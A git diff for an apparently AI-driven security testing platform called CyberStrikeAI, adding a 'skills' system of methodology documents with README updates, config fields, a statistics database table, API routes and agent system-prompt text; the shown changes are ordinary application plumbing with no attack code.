diff --git a/README.md b/README.md index 4ebc1dc2..10328268 100644 --- a/README.md +++ b/README.md @@ -46,6 +46,7 @@ CyberStrikeAI is an **AI-native security testing platform** built in Go. It inte - 🛡️ Vulnerability management with CRUD operations, severity tracking, status workflow, and statistics - 📋 Batch task management: create task queues, add multiple tasks, and execute them sequentially - 🎭 Role-based testing: predefined security testing roles (Penetration Testing, CTF, Web App Scanning, etc.) with custom prompts and tool restrictions +- 🎯 Skills system: 20+ predefined security testing skills (SQL injection, XSS, API security, etc.) that can be attached to roles or called on-demand by AI agents ## Tool Overview @@ -145,7 +146,8 @@ go build -o cyberstrike-ai cmd/server/main.go - **Predefined roles** – System includes 12+ predefined security testing roles (Penetration Testing, CTF, Web App Scanning, API Security Testing, Binary Analysis, Cloud Security Audit, etc.) in the `roles/` directory. - **Custom prompts** – Each role can define a `user_prompt` that prepends to user messages, guiding the AI to adopt specialized testing methodologies and focus areas. - **Tool restrictions** – Roles can specify a `tools` list to limit available tools, ensuring focused testing workflows (e.g., CTF role restricts to CTF-specific utilities). -- **Easy role creation** – Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, and `enabled` fields. +- **Skills integration** – Roles can attach security testing skills that are automatically injected into system prompts. +- **Easy role creation** – Create custom roles by adding YAML files to the `roles/` directory. Each role defines `name`, `description`, `user_prompt`, `icon`, `tools`, `skills`, and `enabled` fields. - **Web UI integration** – Select roles from a dropdown in the chat interface. Role selection affects both AI behavior and available tool suggestions. **Creating a custom role (example):** @@ -159,10 +161,25 @@ go build -o cyberstrike-ai cmd/server/main.go - api-fuzzer - arjun - graphql-scanner + skills: + - api-security-testing + - sql-injection-testing enabled: true ``` 2. Restart the server or reload configuration; the role appears in the role selector dropdown. +### Skills System +- **Predefined skills** – System includes 20+ predefined security testing skills (SQL injection, XSS, API security, cloud security, container security, etc.) in the `skills/` directory. +- **Automatic injection** – When a role is selected, all skills attached to that role are automatically loaded and injected into the system prompt, providing AI with specialized knowledge and methodologies. +- **On-demand access** – AI agents can also access skills on-demand using built-in tools (`list_skills`, `read_skill`), allowing dynamic skill retrieval during task execution. +- **Structured format** – Each skill is a directory containing a `SKILL.md` file with detailed testing methods, tool usage, best practices, and examples. Skills support YAML front matter for metadata. +- **Custom skills** – Create custom skills by adding directories to the `skills/` directory. Each skill directory should contain a `SKILL.md` file with the skill content. + +**Creating a custom skill:** +1. Create a directory in `skills/` (e.g., `skills/my-skill/`) +2. Create a `SKILL.md` file in that directory with the skill content +3. Attach the skill to a role by adding it to the role's `skills` field in the role YAML file + ### Tool Orchestration & Extensions - **YAML recipes** in `tools/*.yaml` describe commands, arguments, prompts, and metadata. - **Directory hot-reload** – pointing `security.tools_dir` to a folder is usually enough; inline definitions in `config.yaml` remain supported for quick experiments. @@ -364,6 +381,7 @@ knowledge: similarity_threshold: 0.7 # Minimum similarity score (0-1) hybrid_weight: 0.7 # Weight for vector search (1.0 = pure vector, 0.0 = pure keyword) roles_dir: "roles" # Role configuration directory (relative to config file) +skills_dir: "skills" # Skills directory (relative to config file) ``` ### Tool Definition Example (`tools/nmap.yaml`) @@ -415,6 +433,7 @@ CyberStrikeAI/ ├── web/ # Static SPA + templates ├── tools/ # YAML tool recipes (100+ examples provided) ├── roles/ # Role configurations (12+ predefined security testing roles) +├── skills/ # Skills directory (20+ predefined security testing skills) ├── img/ # Docs screenshots & diagrams ├── config.yaml # Runtime configuration ├── run.sh # Convenience launcher @@ -446,6 +465,7 @@ See [CHANGELOG.md](CHANGELOG.md) for detailed version history and all changes. ### Recent Highlights +- **2026-01-XX** – Skills system with 20+ predefined security testing skills - **2026-01-11** – Role-based testing with predefined security testing roles - **2026-01-08** – SSE transport mode support for external MCP servers - **2026-01-01** – Batch task management with queue-based execution diff --git a/README_CN.md b/README_CN.md index 96e0e3ca..1872ca58 100644 --- a/README_CN.md +++ b/README_CN.md @@ -45,6 +45,7 @@ CyberStrikeAI 是一款 **AI 原生安全测试平台**,基于 Go 构建,集 - 🛡️ 漏洞管理功能:完整的漏洞 CRUD 操作,支持严重程度分级、状态流转、按对话/严重程度/状态过滤,以及统计看板 - 📋 批量任务管理:创建任务队列,批量添加任务,依次顺序执行,支持任务编辑与状态跟踪 - 🎭 角色化测试:预设安全测试角色(渗透测试、CTF、Web 应用扫描等),支持自定义提示词和工具限制 +- 🎯 Skills 技能系统:20+ 预设安全测试技能(SQL 注入、XSS、API 安全等),可附加到角色或由 AI 按需调用 ## 工具概览 @@ -144,7 +145,8 @@ go build -o cyberstrike-ai cmd/server/main.go - **预设角色**:系统内置 12+ 个预设的安全测试角色(渗透测试、CTF、Web 应用扫描、API 安全测试、二进制分析、云安全审计等),位于 `roles/` 目录。 - **自定义提示词**:每个角色可定义 `user_prompt`,会在用户消息前自动添加,引导 AI 采用特定的测试方法和关注重点。 - **工具限制**:角色可指定 `tools` 列表,限制可用工具,实现聚焦的测试流程(如 CTF 角色限制为 CTF 专用工具)。 -- **轻松创建角色**:通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`enabled` 字段。 +- **Skills 集成**:角色可附加安全测试技能,选择角色时自动注入到系统提示词中。 +- **轻松创建角色**:通过在 `roles/` 目录添加 YAML 文件即可创建自定义角色。每个角色定义 `name`、`description`、`user_prompt`、`icon`、`tools`、`skills`、`enabled` 字段。 - **Web 界面集成**:在聊天界面通过下拉菜单选择角色。角色选择会影响 AI 行为和可用工具建议。 **创建自定义角色示例:** @@ -158,10 +160,25 @@ go build -o cyberstrike-ai cmd/server/main.go - api-fuzzer - arjun - graphql-scanner + skills: + - api-security-testing + - sql-injection-testing enabled: true ``` 2. 重启服务或重新加载配置,角色会出现在角色选择下拉菜单中。 +### Skills 技能系统 +- **预设技能**:系统内置 20+ 个预设的安全测试技能(SQL 注入、XSS、API 安全、云安全、容器安全等),位于 `skills/` 目录。 +- **自动注入**:当选择某个角色时,该角色附加的所有技能会自动加载并注入到系统提示词中,为 AI 提供专业知识和测试方法。 +- **按需调用**:AI 智能体也可以通过内置工具(`list_skills`、`read_skill`)按需访问技能,允许在执行任务过程中动态获取相关技能。 +- **结构化格式**:每个技能是一个目录,包含一个 `SKILL.md` 文件,详细描述测试方法、工具使用、最佳实践和示例。技能支持 YAML front matter 格式用于元数据。 +- **自定义技能**:通过在 `skills/` 目录添加目录即可创建自定义技能。每个技能目录应包含一个 `SKILL.md` 文件。 + +**创建自定义技能:** +1. 在 `skills/` 目录创建目录(如 `skills/my-skill/`) +2. 在该目录下创建 `SKILL.md` 文件,编写技能内容 +3. 在角色的 YAML 文件中,通过添加 `skills` 字段将该技能附加到角色 + ### 工具编排与扩展 - `tools/*.yaml` 定义命令、参数、提示词与元数据,可热加载。 - `security.tools_dir` 指向目录即可批量启用;仍支持在主配置里内联定义。 @@ -363,6 +380,7 @@ knowledge: similarity_threshold: 0.7 # 相似度阈值(0-1),低于此值的结果将被过滤 hybrid_weight: 0.7 # 混合检索权重(0-1),向量检索的权重,1.0 表示纯向量检索,0.0 表示纯关键词检索 roles_dir: "roles" # 角色配置文件目录(相对于配置文件所在目录) +skills_dir: "skills" # Skills 目录(相对于配置文件所在目录) ``` ### 工具模版示例(`tools/nmap.yaml`) @@ -414,6 +432,7 @@ CyberStrikeAI/ ├── web/ # 前端静态资源与模板 ├── tools/ # YAML 工具目录(含 100+ 示例) ├── roles/ # 角色配置文件目录(含 12+ 预设安全测试角色) +├── skills/ # Skills 目录(含 20+ 预设安全测试技能) ├── img/ # 文档配图 ├── config.yaml # 运行配置 ├── run.sh # 启动脚本 @@ -445,6 +464,7 @@ CyberStrikeAI/ ### 近期亮点 +- **2026-01-XX** – 新增 Skills 技能系统,内置 20+ 预设安全测试技能 - **2026-01-11** – 新增角色化测试功能,支持预设安全测试角色 - **2026-01-08** – 新增 SSE 传输模式支持,外部 MCP 联邦支持三种模式 - **2026-01-01** – 新增批量任务管理功能,支持队列式任务执行 diff --git a/internal/agent/agent.go b/internal/agent/agent.go index b69c4368..343afc4d 100644 --- a/internal/agent/agent.go +++ b/internal/agent/agent.go @@ -303,16 +303,17 @@ type ProgressCallback func(eventType, message string, data interface{}) // AgentLoop 执行Agent循环 func (a *Agent) AgentLoop(ctx context.Context, userInput string, historyMessages []ChatMessage) (*AgentLoopResult, error) { - return a.AgentLoopWithProgress(ctx, userInput, historyMessages, "", nil, nil) + return a.AgentLoopWithProgress(ctx, userInput, historyMessages, "", nil, nil, nil) } // AgentLoopWithConversationID 执行Agent循环(带对话ID) func (a *Agent) AgentLoopWithConversationID(ctx context.Context, userInput string, historyMessages []ChatMessage, conversationID string) (*AgentLoopResult, error) { - return a.AgentLoopWithProgress(ctx, userInput, historyMessages, conversationID, nil, nil) + return a.AgentLoopWithProgress(ctx, userInput, historyMessages, conversationID, nil, nil, nil) } // AgentLoopWithProgress 执行Agent循环(带进度回调和对话ID) -func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, historyMessages []ChatMessage, conversationID string, callback ProgressCallback, roleTools []string) (*AgentLoopResult, error) { +// roleSkills: 角色配置的skills列表(用于在系统提示词中提示AI,但不硬编码内容) +func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, historyMessages []ChatMessage, conversationID string, callback ProgressCallback, roleTools []string, roleSkills []string) (*AgentLoopResult, error) { // 设置当前对话ID a.mu.Lock() a.currentConversationID = conversationID @@ -411,7 +412,45 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his * low(低):影响较小,难以利用或影响范围有限 * info(信息):安全配置问题、信息泄露但不直接可利用等 - 确保漏洞证明(proof)包含足够的证据,如请求/响应、截图、命令输出等 -- 在记录漏洞后,继续测试以发现更多问题` +- 在记录漏洞后,继续测试以发现更多问题 + +技能库(Skills): +- 系统提供了技能库(Skills),包含各种安全测试的专业技能和方法论文档 +- 技能库与知识库的区别: + * 知识库(Knowledge Base):用于检索分散的知识片段,适合快速查找特定信息 + * 技能库(Skills):包含完整的专业技能文档,适合深入学习某个领域的测试方法、工具使用、绕过技巧等 +- 当你需要特定领域的专业技能时,可以使用以下工具按需获取: + * ` + builtin.ToolListSkills + `: 获取所有可用的skills列表,查看有哪些专业技能可用 + * ` + builtin.ToolReadSkill + `: 读取指定skill的详细内容,获取该领域的专业技能文档 +- 建议在执行相关任务前,先使用 ` + builtin.ToolListSkills + ` 查看可用skills,然后根据任务需要调用 ` + builtin.ToolReadSkill + ` 获取相关专业技能 +- 例如:如果需要测试SQL注入,可以先调用 ` + builtin.ToolListSkills + ` 查看是否有sql-injection相关的skill,然后调用 ` + builtin.ToolReadSkill + ` 读取该skill的内容 +- Skills内容包含完整的测试方法、工具使用、绕过技巧、最佳实践等专业技能文档,可以帮助你更专业地执行任务` + + // 如果角色配置了skills,在系统提示词中提示AI(但不硬编码内容) + if len(roleSkills) > 0 { + var skillsHint strings.Builder + skillsHint.WriteString("\n\n本角色推荐使用的Skills:\n") + for i, skillName := range roleSkills { + if i > 0 { + skillsHint.WriteString("、") + } + skillsHint.WriteString("`") + skillsHint.WriteString(skillName) + skillsHint.WriteString("`") + } + skillsHint.WriteString("\n- 这些skills包含了与本角色相关的专业技能文档,建议在执行相关任务时使用 `") + skillsHint.WriteString(builtin.ToolReadSkill) + skillsHint.WriteString("` 工具读取这些skills的内容") + skillsHint.WriteString("\n- 例如:`") + skillsHint.WriteString(builtin.ToolReadSkill) + skillsHint.WriteString("(skill_name=\"") + skillsHint.WriteString(roleSkills[0]) + skillsHint.WriteString("\")` 可以读取第一个推荐skill的内容") + skillsHint.WriteString("\n- 注意:这些skills的内容不会自动注入,需要你根据任务需要主动调用 `") + skillsHint.WriteString(builtin.ToolReadSkill) + skillsHint.WriteString("` 工具获取") + systemPrompt += skillsHint.String() + } messages := []ChatMessage{ { diff --git a/internal/app/app.go b/internal/app/app.go index f283cd97..0915af28 100644 --- a/internal/app/app.go +++ b/internal/app/app.go @@ -19,6 +19,7 @@ import ( "cyberstrike-ai/internal/mcp/builtin" "cyberstrike-ai/internal/openai" "cyberstrike-ai/internal/security" + "cyberstrike-ai/internal/skills" "cyberstrike-ai/internal/storage" "github.com/gin-gonic/gin" @@ -215,53 +216,53 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) { return } - if hasIndex { - // 如果已有索引,只索引新添加或更新的项 - if len(itemsToIndex) > 0 { - log.Logger.Info("检测到已有知识库索引,开始增量索引", zap.Int("count", len(itemsToIndex))) - ctx := context.Background() - consecutiveFailures := 0 - var firstFailureItemID string - var firstFailureError error - failedCount := 0 - - for _, itemID := range itemsToIndex { - if err := knowledgeIndexer.IndexItem(ctx, itemID); err != nil { - failedCount++ - consecutiveFailures++ - - if consecutiveFailures == 1 { - firstFailureItemID = itemID - firstFailureError = err - log.Logger.Warn("索引知识项失败", zap.String("itemId", itemID), zap.Error(err)) - } - - // 如果连续失败2次,立即停止增量索引 - if consecutiveFailures >= 2 { - log.Logger.Error("连续索引失败次数过多,立即停止增量索引", - zap.Int("consecutiveFailures", consecutiveFailures), - zap.Int("totalItems", len(itemsToIndex)), - zap.String("firstFailureItemId", firstFailureItemID), - zap.Error(firstFailureError), - ) - break - } - continue + if hasIndex { + // 如果已有索引,只索引新添加或更新的项 + if len(itemsToIndex) > 0 { + log.Logger.Info("检测到已有知识库索引,开始增量索引", zap.Int("count", len(itemsToIndex))) + ctx := context.Background() + consecutiveFailures := 0 + var firstFailureItemID string + var firstFailureError error + failedCount := 0 + + for _, itemID := range itemsToIndex { + if err := knowledgeIndexer.IndexItem(ctx, itemID); err != nil { + failedCount++ + consecutiveFailures++ + + if consecutiveFailures == 1 { + firstFailureItemID = itemID + firstFailureError = err + log.Logger.Warn("索引知识项失败", zap.String("itemId", itemID), zap.Error(err)) } - - // 成功时重置连续失败计数 - if consecutiveFailures > 0 { - consecutiveFailures = 0 - firstFailureItemID = "" - firstFailureError = nil + + // 如果连续失败2次,立即停止增量索引 + if consecutiveFailures >= 2 { + log.Logger.Error("连续索引失败次数过多,立即停止增量索引", + zap.Int("consecutiveFailures", consecutiveFailures), + zap.Int("totalItems", len(itemsToIndex)), + zap.String("firstFailureItemId", firstFailureItemID), + zap.Error(firstFailureError), + ) + break } + continue + } + + // 成功时重置连续失败计数 + if consecutiveFailures > 0 { + consecutiveFailures = 0 + firstFailureItemID = "" + firstFailureError = nil } - log.Logger.Info("增量索引完成", zap.Int("totalItems", len(itemsToIndex)), zap.Int("failedCount", failedCount)) - } else { - log.Logger.Info("检测到已有知识库索引,没有需要索引的新项或更新项") } - return + log.Logger.Info("增量索引完成", zap.Int("totalItems", len(itemsToIndex)), zap.Int("failedCount", failedCount)) + } else { + log.Logger.Info("检测到已有知识库索引,没有需要索引的新项或更新项") } + return + } // 只有在没有索引时才自动重建 log.Logger.Info("未检测到知识库索引,开始自动构建索引") @@ -278,8 +279,30 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) { configPath = os.Args[1] } + // 初始化Skills管理器 + skillsDir := cfg.SkillsDir + if skillsDir == "" { + skillsDir = "skills" // 默认目录 + } + // 如果是相对路径,相对于配置文件所在目录 + configDir := filepath.Dir(configPath) + if !filepath.IsAbs(skillsDir) { + skillsDir = filepath.Join(configDir, skillsDir) + } + skillsManager := skills.NewManager(skillsDir, log.Logger) + log.Logger.Info("Skills管理器已初始化", zap.String("skillsDir", skillsDir)) + + // 注册Skills工具到MCP服务器(让AI可以按需调用,带数据库存储支持统计) + // 创建一个适配器,将database.DB适配为SkillStatsStorage接口 + var skillStatsStorage skills.SkillStatsStorage + if db != nil { + skillStatsStorage = &skillStatsDBAdapter{db: db} + } + skills.RegisterSkillsToolWithStorage(mcpServer, skillsManager, skillStatsStorage, log.Logger) + // 创建处理器 agentHandler := handler.NewAgentHandler(agent, db, cfg, log.Logger) + agentHandler.SetSkillsManager(skillsManager) // 设置Skills管理器 // 如果知识库已启用,设置知识库管理器到AgentHandler以便记录检索日志 if knowledgeManager != nil { agentHandler.SetKnowledgeManager(knowledgeManager) @@ -294,6 +317,11 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) { configHandler := handler.NewConfigHandler(configPath, cfg, mcpServer, executor, agent, attackChainHandler, externalMCPMgr, log.Logger) externalMCPHandler := handler.NewExternalMCPHandler(externalMCPMgr, cfg, configPath, log.Logger) roleHandler := handler.NewRoleHandler(cfg, configPath, log.Logger) + roleHandler.SetSkillsManager(skillsManager) // 设置Skills管理器到RoleHandler + skillsHandler := handler.NewSkillsHandler(skillsManager, cfg, configPath, log.Logger) + if db != nil { + skillsHandler.SetDB(db) // 设置数据库连接以便获取调用统计 + } // 创建 App 实例(部分字段稍后填充) app := &App{ @@ -371,6 +399,7 @@ func New(cfg *config.Config, log *logger.Logger) (*App, error) { app, // 传递 App 实例以便动态获取 knowledgeHandler vulnerabilityHandler, roleHandler, + skillsHandler, mcpServer, authManager, ) @@ -432,6 +461,7 @@ func setupRoutes( app *App, // 传递 App 实例以便动态获取 knowledgeHandler vulnerabilityHandler *handler.VulnerabilityHandler, roleHandler *handler.RoleHandler, + skillsHandler *handler.SkillsHandler, mcpServer *mcp.Server, authManager *security.AuthManager, ) { @@ -660,10 +690,22 @@ func setupRoutes( // 角色管理 protected.GET("/roles", roleHandler.GetRoles) protected.GET("/roles/:name", roleHandler.GetRole) + protected.GET("/roles/skills/list", roleHandler.GetSkills) protected.POST("/roles", roleHandler.CreateRole) protected.PUT("/roles/:name", roleHandler.UpdateRole) protected.DELETE("/roles/:name", roleHandler.DeleteRole) + // Skills管理 + protected.GET("/skills", skillsHandler.GetSkills) + protected.GET("/skills/stats", skillsHandler.GetSkillStats) + protected.DELETE("/skills/stats", skillsHandler.ClearSkillStats) + protected.GET("/skills/:name", skillsHandler.GetSkill) + protected.GET("/skills/:name/bound-roles", skillsHandler.GetSkillBoundRoles) + protected.POST("/skills", skillsHandler.CreateSkill) + protected.PUT("/skills/:name", skillsHandler.UpdateSkill) + protected.DELETE("/skills/:name", skillsHandler.DeleteSkill) + protected.DELETE("/skills/:name/stats", skillsHandler.ClearSkillStatsByName) + // MCP端点 protected.POST("/mcp", func(c *gin.Context) { mcpServer.HandleHTTP(c.Writer, c.Request) @@ -979,18 +1021,18 @@ func initializeKnowledge( var firstFailureItemID string var firstFailureError error failedCount := 0 - + for _, itemID := range itemsToIndex { if err := knowledgeIndexer.IndexItem(ctx, itemID); err != nil { failedCount++ consecutiveFailures++ - + if consecutiveFailures == 1 { firstFailureItemID = itemID firstFailureError = err logger.Warn("索引知识项失败", zap.String("itemId", itemID), zap.Error(err)) } - + // 如果连续失败2次,立即停止增量索引 if consecutiveFailures >= 2 { logger.Error("连续索引失败次数过多,立即停止增量索引", @@ -1003,7 +1045,7 @@ func initializeKnowledge( } continue } - + // 成功时重置连续失败计数 if consecutiveFailures > 0 { consecutiveFailures = 0 diff --git a/internal/app/skill_stats_adapter.go b/internal/app/skill_stats_adapter.go new file mode 100644 index 00000000..9be987de --- /dev/null +++ b/internal/app/skill_stats_adapter.go @@ -0,0 +1,40 @@ +package app + +import ( + "time" + + "cyberstrike-ai/internal/database" + "cyberstrike-ai/internal/skills" +) + +// skillStatsDBAdapter 将database.DB适配为skills.SkillStatsStorage接口 +type skillStatsDBAdapter struct { + db *database.DB +} + +// UpdateSkillStats 更新Skills统计信息 +func (a *skillStatsDBAdapter) UpdateSkillStats(skillName string, totalCalls, successCalls, failedCalls int, lastCallTime *time.Time) error { + return a.db.UpdateSkillStats(skillName, totalCalls, successCalls, failedCalls, lastCallTime) +} + +// LoadSkillStats 加载所有Skills统计信息 +func (a *skillStatsDBAdapter) LoadSkillStats() (map[string]*skills.SkillStats, error) { + dbStats, err := a.db.LoadSkillStats() + if err != nil { + return nil, err + } + + // 转换为skills.SkillStats格式 + result := make(map[string]*skills.SkillStats) + for name, stat := range dbStats { + result[name] = &skills.SkillStats{ + SkillName: stat.SkillName, + TotalCalls: stat.TotalCalls, + SuccessCalls: stat.SuccessCalls, + FailedCalls: stat.FailedCalls, + LastCallTime: stat.LastCallTime, + } + } + + return result, nil +} diff --git a/internal/config/config.go b/internal/config/config.go index 4c22f600..c13522c8 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -25,6 +25,7 @@ type Config struct { Knowledge KnowledgeConfig `yaml:"knowledge,omitempty"` RolesDir string `yaml:"roles_dir,omitempty" json:"roles_dir,omitempty"` // 角色配置文件目录(新方式) Roles map[string]RoleConfig `yaml:"roles,omitempty" json:"roles,omitempty"` // 向后兼容:支持在主配置文件中定义角色 + SkillsDir string `yaml:"skills_dir,omitempty" json:"skills_dir,omitempty"` // Skills配置文件目录 } type ServerConfig struct { @@ -581,5 +582,6 @@ type RoleConfig struct { Icon string `yaml:"icon,omitempty" json:"icon,omitempty"` // 角色图标(可选) Tools []string `yaml:"tools,omitempty" json:"tools,omitempty"` // 关联的工具列表(toolKey格式,如 "toolName" 或 "mcpName::toolName") MCPs []string `yaml:"mcps,omitempty" json:"mcps,omitempty"` // 向后兼容:关联的MCP服务器列表(已废弃,使用tools替代) + Skills []string `yaml:"skills,omitempty" json:"skills,omitempty"` // 关联的skills列表(skill名称列表,在执行任务前会读取这些skills的内容) Enabled bool `yaml:"enabled" json:"enabled"` // 是否启用 } diff --git a/internal/database/database.go b/internal/database/database.go index 9e59a4a0..13815a6a 100644 --- a/internal/database/database.go +++ b/internal/database/database.go @@ -104,6 +104,17 @@ func (db *DB) initTables() error { updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP );` + // 创建Skills统计表 + createSkillStatsTable := ` + CREATE TABLE IF NOT EXISTS skill_stats ( + skill_name TEXT PRIMARY KEY, + total_calls INTEGER NOT NULL DEFAULT 0, + success_calls INTEGER NOT NULL DEFAULT 0, + failed_calls INTEGER NOT NULL DEFAULT 0, + last_call_time DATETIME, + updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP + );` + // 创建攻击链节点表 createAttackChainNodesTable := ` CREATE TABLE IF NOT EXISTS attack_chain_nodes ( @@ -264,6 +275,10 @@ func (db *DB) initTables() error { return fmt.Errorf("创建tool_stats表失败: %w", err) } + if _, err := db.Exec(createSkillStatsTable); err != nil { + return fmt.Errorf("创建skill_stats表失败: %w", err) + } + if _, err := db.Exec(createAttackChainNodesTable); err != nil { return fmt.Errorf("创建attack_chain_nodes表失败: %w", err) } diff --git a/internal/database/skill_stats.go b/internal/database/skill_stats.go new file mode 100644 index 00000000..24e15585 --- /dev/null +++ b/internal/database/skill_stats.go @@ -0,0 +1,142 @@ +package database + +import ( + "database/sql" + "time" + + "go.uber.org/zap" +) + +// SkillStats Skills统计信息 +type SkillStats struct { + SkillName string + TotalCalls int + SuccessCalls int + FailedCalls int + LastCallTime *time.Time +} + +// SaveSkillStats 保存Skills统计信息 +func (db *DB) SaveSkillStats(skillName string, stats *SkillStats) error { + var lastCallTime sql.NullTime + if stats.LastCallTime != nil { + lastCallTime = sql.NullTime{Time: *stats.LastCallTime, Valid: true} + } + + query := ` + INSERT OR REPLACE INTO skill_stats + (skill_name, total_calls, success_calls, failed_calls, last_call_time, updated_at) + VALUES (?, ?, ?, ?, ?, ?) + ` + + _, err := db.Exec(query, + skillName, + stats.TotalCalls, + stats.SuccessCalls, + stats.FailedCalls, + lastCallTime, + time.Now(), + ) + + if err != nil { + db.logger.Error("保存Skills统计信息失败", zap.Error(err), zap.String("skillName", skillName)) + return err + } + + return nil +} + +// LoadSkillStats 加载所有Skills统计信息 +func (db *DB) LoadSkillStats() (map[string]*SkillStats, error) { + query := ` + SELECT skill_name, total_calls, success_calls, failed_calls, last_call_time + FROM skill_stats + ` + + rows, err := db.Query(query) + if err != nil { + return nil, err + } + defer rows.Close() + + stats := make(map[string]*SkillStats) + for rows.Next() { + var stat SkillStats + var lastCallTime sql.NullTime + + err := rows.Scan( + &stat.SkillName, + &stat.TotalCalls, + &stat.SuccessCalls, + &stat.FailedCalls, + &lastCallTime, + ) + if err != nil { + db.logger.Warn("加载Skills统计信息失败", zap.Error(err)) + continue + } + + if lastCallTime.Valid { + stat.LastCallTime = &lastCallTime.Time + } + + stats[stat.SkillName] = &stat + } + + return stats, nil +} + +// UpdateSkillStats 更新Skills统计信息(累加模式) +func (db *DB) UpdateSkillStats(skillName string, totalCalls, successCalls, failedCalls int, lastCallTime *time.Time) error { + var lastCallTimeSQL sql.NullTime + if lastCallTime != nil { + lastCallTimeSQL = sql.NullTime{Time: *lastCallTime, Valid: true} + } + + query := ` + INSERT INTO skill_stats (skill_name, total_calls, success_calls, failed_calls, last_call_time, updated_at) + VALUES (?, ?, ?, ?, ?, ?) + ON CONFLICT(skill_name) DO UPDATE SET + total_calls = total_calls + ?, + success_calls = success_calls + ?, + failed_calls = failed_calls + ?, + last_call_time = COALESCE(?, last_call_time), + updated_at = ? + ` + + _, err := db.Exec(query, + skillName, totalCalls, successCalls, failedCalls, lastCallTimeSQL, time.Now(), + totalCalls, successCalls, failedCalls, lastCallTimeSQL, time.Now(), + ) + + if err != nil { + db.logger.Error("更新Skills统计信息失败", zap.Error(err), zap.String("skillName", skillName)) + return err + } + + return nil +} + +// ClearSkillStats 清空所有Skills统计信息 +func (db *DB) ClearSkillStats() error { + query := `DELETE FROM skill_stats` + _, err := db.Exec(query) + if err != nil { + db.logger.Error("清空Skills统计信息失败", zap.Error(err)) + return err + } + db.logger.Info("已清空所有Skills统计信息") + return nil +} + +// ClearSkillStatsByName 清空指定skill的统计信息 +func (db *DB) ClearSkillStatsByName(skillName string) error { + query := `DELETE FROM skill_stats WHERE skill_name = ?` + _, err := db.Exec(query, skillName) + if err != nil { + db.logger.Error("清空指定skill统计信息失败", zap.Error(err), zap.String("skillName", skillName)) + return err + } + db.logger.Info("已清空指定skill统计信息", zap.String("skillName", skillName)) + return nil +} diff --git a/internal/handler/agent.go b/internal/handler/agent.go index 47927b2b..785676e3 100644 --- a/internal/handler/agent.go +++ b/internal/handler/agent.go @@ -15,6 +15,7 @@ import ( "cyberstrike-ai/internal/config" "cyberstrike-ai/internal/database" "cyberstrike-ai/internal/mcp/builtin" + "cyberstrike-ai/internal/skills" "github.com/gin-gonic/gin" "go.uber.org/zap" @@ -72,6 +73,7 @@ type AgentHandler struct { knowledgeManager interface { // 知识库管理器接口 LogRetrieval(conversationID, messageID, query, riskType string, retrievedItems []string) error } + skillsManager *skills.Manager // Skills管理器 } // NewAgentHandler 创建新的Agent处理器 @@ -101,6 +103,11 @@ func (h *AgentHandler) SetKnowledgeManager(manager interface { h.knowledgeManager = manager } +// SetSkillsManager 设置Skills管理器 +func (h *AgentHandler) SetSkillsManager(manager *skills.Manager) { + h.skillsManager = manager +} + // ChatRequest 聊天请求 type ChatRequest struct { Message string `json:"message" binding:"required"` @@ -169,6 +176,7 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) { // 应用角色用户提示词和工具配置 finalMessage := req.Message var roleTools []string // 角色配置的工具列表 + var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容) if req.Role != "" && req.Role != "默认" { if h.config.Roles != nil { if role, exists := h.config.Roles[req.Role]; exists && role.Enabled { @@ -182,6 +190,11 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) { roleTools = role.Tools h.logger.Info("使用角色配置的工具列表", zap.String("role", req.Role), zap.Int("toolCount", len(roleTools))) } + // 获取角色配置的skills列表(用于在系统提示词中提示AI,但不硬编码内容) + if len(role.Skills) > 0 { + roleSkills = role.Skills + h.logger.Info("角色配置了skills,将在系统提示词中提示AI", zap.String("role", req.Role), zap.Int("skillCount", len(roleSkills)), zap.Strings("skills", roleSkills)) + } } } } @@ -193,7 +206,8 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) { } // 执行Agent Loop,传入历史消息和对话ID(使用包含角色提示词的finalMessage和角色工具列表) - result, err := h.agent.AgentLoopWithProgress(c.Request.Context(), finalMessage, agentHistoryMessages, conversationID, nil, roleTools) + // 注意:skills不会硬编码注入,但会在系统提示词中提示AI这个角色推荐使用哪些skills + result, err := h.agent.AgentLoopWithProgress(c.Request.Context(), finalMessage, agentHistoryMessages, conversationID, nil, roleTools, roleSkills) if err != nil { h.logger.Error("Agent Loop执行失败", zap.Error(err)) @@ -515,6 +529,10 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) { // 因为mcps是MCP服务器名称,不是工具列表 h.logger.Info("角色配置使用旧的mcps字段,将使用所有工具", zap.String("role", req.Role)) } + // 注意:角色配置的skills不再硬编码注入,AI可以通过list_skills和read_skill工具按需调用 + if len(role.Skills) > 0 { + h.logger.Info("角色配置了skills,AI可通过工具按需调用", zap.String("role", req.Role), zap.Int("skillCount", len(role.Skills)), zap.Strings("skills", role.Skills)) + } } } } @@ -599,7 +617,18 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) { // 执行Agent Loop,传入独立的上下文,确保任务不会因客户端断开而中断(使用包含角色提示词的finalMessage和角色工具列表) sendEvent("progress", "正在分析您的请求...", nil) - result, err := h.agent.AgentLoopWithProgress(taskCtx, finalMessage, agentHistoryMessages, conversationID, progressCallback, roleTools) + // 注意:skills不会硬编码注入,但会在系统提示词中提示AI这个角色推荐使用哪些skills + var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容) + if req.Role != "" && req.Role != "默认" { + if h.config.Roles != nil { + if role, exists := h.config.Roles[req.Role]; exists && role.Enabled { + if len(role.Skills) > 0 { + roleSkills = role.Skills + } + } + } + } + result, err := h.agent.AgentLoopWithProgress(taskCtx, finalMessage, agentHistoryMessages, conversationID, progressCallback, roleTools, roleSkills) if err != nil { h.logger.Error("Agent Loop执行失败", zap.Error(err)) cause := context.Cause(baseCtx) @@ -1099,6 +1128,7 